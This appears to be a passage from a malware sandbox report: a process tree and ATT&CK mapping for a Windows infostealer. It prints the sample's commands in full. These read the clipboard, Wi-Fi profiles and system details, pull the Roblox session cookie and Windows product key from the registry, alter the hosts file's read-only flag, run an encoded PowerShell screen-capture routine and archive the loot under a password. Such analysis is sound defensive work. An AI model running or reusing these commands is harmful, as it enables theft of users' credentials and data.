    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2788
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3104
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4432
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\downsceh\downsceh.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4992
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9239.tmp" "c:\Users\Admin\AppData\Local\Temp\downsceh\CSCDF913391E2724AC98AD974B1336DE490.TMP"
        6⤵
        
        PID:5092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:360
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3724
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI8482\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Mid26.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Users\Admin\AppData\Local\Temp\_MEI8482\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI8482\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Mid26.zip" *
      4⤵
      Executes dropped EXE
      PID:4392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4520
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2856
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:2024
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:4948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...